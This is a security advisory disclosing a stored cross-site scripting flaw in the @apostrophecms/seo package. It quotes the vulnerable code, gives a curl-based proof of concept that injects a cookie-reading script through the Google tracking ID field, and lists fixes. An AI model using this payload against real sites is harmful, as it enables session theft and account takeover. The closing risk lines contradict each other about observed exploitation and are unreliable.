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GHSA-wf43-fpp3-cf65
No affected components available
Summary
The @apostrophecms/seo package injects the Google Analytics Tracking ID (seoGoogleTrackingId) and Google Tag Manager ID (seoGoogleTagManager) directly into <script> tag bodies using JavaScript template literals without any sanitization or validation.
Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site.
Details
The vulnerable code is in node_modules/@apostrophecms/seo/lib/nodes.js.
Google Analytics (lines 218–224):
// seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation
body: [ {
raw: `
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', '${global.seoGoogleTrackingId}');
`
} ]
Google Tag Manager (lines 358–362):
body: [ {
raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');`
} ]
These nodes are rendered by renderNodes() in ApostropheCMS core (modules/@apostrophecms/template/index.js lines 1176–1177):
if (node.raw != null) {
return node.raw; // returned verbatim, no escaping
}
The fields seoGoogleTrackingId and seoGoogleTagManager are defined as plain type: 'string' values with no pattern, minimum length, or maximum length validation in seo-fields-global/index.js lines 347–352.
ApostropheCMS's permission model (@apostrophecms/permission/index.js line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue.
PoC
Prerequisites: ApostropheCMS with @apostrophecms/seo installed and seoGoogleAnalytics: true enabled in module options. An editor-level account.
Step 1 — Login as editor
curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \
-H 'Content-Type: application/json' \
-d '{"username":"editor","password":"password"}'
Response:
{"token":"YOUR_TOKEN"}
Step 2 — Get the global document ID
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
http://TARGET/api/v1/@apostrophecms/global
Note the _id value ending in :en:draft.
Step 3 — Inject payload into Google Analytics ID
curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}'
Step 4 — Publish
curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \
-H "Authorization: Bearer YOUR_TOKEN"
Step 5 — Visit any page
The injected payload appears in <head> and executes:
<script>
gtag('config', 'G-FAKE'); alert(document.cookie); //');
</script>
Impact
This is a Stored Cross-Site Scripting (XSS) vulnerability.
Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site.
Impact includes:
- Session token theft of all visitors, including other editors and administrators
- Full account takeover via stolen administrator cookies
- Malware distribution, phishing overlays, or credential harvesting targeting site visitors
- Persistent compromise, as the payload remains active until manually removed
Remediation
Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies.
// Validate format before accepting
if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) {
throw new Error('Invalid tracking ID format');
}
// Use safeJsonForScript instead of raw template literals
body: [ { json: global.seoGoogleTrackingId } ]
Or:
// Escape the value before insertion
raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});`
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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